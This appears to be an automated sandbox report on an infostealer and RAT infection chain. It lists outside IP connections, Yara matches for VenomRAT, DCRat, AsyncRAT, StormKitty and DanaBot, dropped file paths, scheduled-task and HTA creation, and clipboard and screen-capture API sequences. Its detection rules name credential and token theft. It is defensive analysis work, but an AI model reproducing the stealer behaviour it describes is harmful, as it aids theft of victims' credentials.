Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.14.233:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.166.124:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.160:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50061 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Yara detected VenomRAT

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Code function: 12_2_001463E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_001463E0

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Code function: 12_2_001463E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_001463E0

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Code function: 12_2_00146590 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

12_2_00146590

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oldVNC.exe PID: 7488, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

Creates HTA files

Source: C:\Windows\System32\cmd.exe	File created: C:\Temp\Pn8FljxwM.hta
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Temp\2alGwEWbJ.hta

PE file contains section with special chars

Source: UWYXurYZ2x.exe	Static PE information: section name:
Source: UWYXurYZ2x.exe	Static PE information: section name: .idata
Source: UWYXurYZ2x.exe	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: fe4d890d0f.exe.5.dr	Static PE information: section name:
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: .idata
Source: fe4d890d0f.exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: eb15c414be.exe.5.dr	Static PE information: section name:
Source: eb15c414be.exe.5.dr	Static PE information: section name: .idata
Source: eb15c414be.exe.5.dr	Static PE information: section name:
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name:
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: .idata
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name:
Source: bKIFsVe.exe.5.dr	Static PE information: section name:
Source: bKIFsVe.exe.5.dr	Static PE information: section name: .idata
Source: bKIFsVe.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: b2ee16741f.exe.5.dr	Static PE information: section name:
Source: b2ee16741f.exe.5.dr	Static PE information: section name: .idata
Source: b2ee16741f.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Code function: 11_2_00007FFAAC513ACE NtProtectVirtualMemory,

11_2_00007FFAAC513ACE

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	File created: C:\Windows\Tasks\axplong.job
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00EEE530	5_2_00EEE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F278BB	5_2_00F278BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F28860	5_2_00F28860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F27049	5_2_00F27049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00EE4DE0	5_2_00EE4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F231A8	5_2_00F231A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F22D10	5_2_00F22D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F2779B	5_2_00F2779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F17F36	5_2_00F17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00EE4B30	5_2_00EE4B30
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC564CF8	11_2_00007FFAAC564CF8
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53ADF5	11_2_00007FFAAC53ADF5
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC522000	11_2_00007FFAAC522000
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC51C042	11_2_00007FFAAC51C042
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC5398DD	11_2_00007FFAAC5398DD
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53C8F8	11_2_00007FFAAC53C8F8
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC5148F8	11_2_00007FFAAC5148F8
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC513ACE	11_2_00007FFAAC513ACE
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC52262E	11_2_00007FFAAC52262E
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC51E611	11_2_00007FFAAC51E611
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53D728	11_2_00007FFAAC53D728
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53C835	11_2_00007FFAAC53C835
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC562108	11_2_00007FFAAC562108
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC51B296	11_2_00007FFAAC51B296
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53102B	11_2_00007FFAAC53102B
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B0B9	11_2_00007FFAAC53B0B9
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B08B	11_2_00007FFAAC53B08B
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B04A	11_2_00007FFAAC53B04A
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC541B78	11_2_00007FFAAC541B78
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B128	11_2_00007FFAAC53B128
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B0E7	11_2_00007FFAAC53B0E7
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B197	11_2_00007FFAAC53B197
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B172	11_2_00007FFAAC53B172
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B14D	11_2_00007FFAAC53B14D
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B228	11_2_00007FFAAC53B228
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B432	11_2_00007FFAAC53B432
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC53B3DB	11_2_00007FFAAC53B3DB
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC5133DD	11_2_00007FFAAC5133DD
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76ECFD	11_2_00007FFAAC76ECFD
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76ADE9	11_2_00007FFAAC76ADE9
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC769E15	11_2_00007FFAAC769E15
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76B78A	11_2_00007FFAAC76B78A
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC766069	11_2_00007FFAAC766069
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC767FFA	11_2_00007FFAAC767FFA
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76DB99	11_2_00007FFAAC76DB99
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC77C2C9	11_2_00007FFAAC77C2C9
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76C758	11_2_00007FFAAC76C758
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76A7B0	11_2_00007FFAAC76A7B0
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76BEBD	11_2_00007FFAAC76BEBD
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC769085	11_2_00007FFAAC769085
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC76317D	11_2_00007FFAAC76317D
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00150A0D	12_2_00150A0D
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00118740	12_2_00118740
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014974A	12_2_0014974A
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013A810	12_2_0013A810
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00143810	12_2_00143810
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00140050	12_2_00140050
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00121078	12_2_00121078
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013D893	12_2_0013D893
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001248B0	12_2_001248B0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001388BA	12_2_001388BA
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001370D0	12_2_001370D0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001158E0	12_2_001158E0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0011A910	12_2_0011A910
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151910	12_2_00151910
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00113920	12_2_00113920
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014912C	12_2_0014912C
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00146140	12_2_00146140
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00125975	12_2_00125975
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00116190	12_2_00116190
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013F195	12_2_0013F195
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00142188	12_2_00142188
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001521B0	12_2_001521B0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001261DF	12_2_001261DF
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001191C0	12_2_001191C0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001411E6	12_2_001411E6
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012B200	12_2_0012B200
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012E250	12_2_0012E250
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151A56	12_2_00151A56
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00137A50	12_2_00137A50
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012AA90	12_2_0012AA90
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00152A90	12_2_00152A90
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00141A88	12_2_00141A88
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001512B1	12_2_001512B1
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001182A0	12_2_001182A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012CAA0	12_2_0012CAA0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014CAA7	12_2_0014CAA7
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001142D0	12_2_001142D0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012BAD0	12_2_0012BAD0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00143AD0	12_2_00143AD0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00130B10	12_2_00130B10
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00112B20	12_2_00112B20
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00121B20	12_2_00121B20
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151B40	12_2_00151B40
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0011BB4D	12_2_0011BB4D
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012C370	12_2_0012C370
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001373A0	12_2_001373A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151BD0	12_2_00151BD0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013ABC0	12_2_0013ABC0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014C410	12_2_0014C410
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00117400	12_2_00117400
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00114C00	12_2_00114C00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00127451	12_2_00127451
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00130440	12_2_00130440
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00120446	12_2_00120446
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014AC40	12_2_0014AC40
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00129470	12_2_00129470
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00151C60	12_2_00151C60
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00152460	12_2_00152460
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00124C9C	12_2_00124C9C
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0011E4B0	12_2_0011E4B0
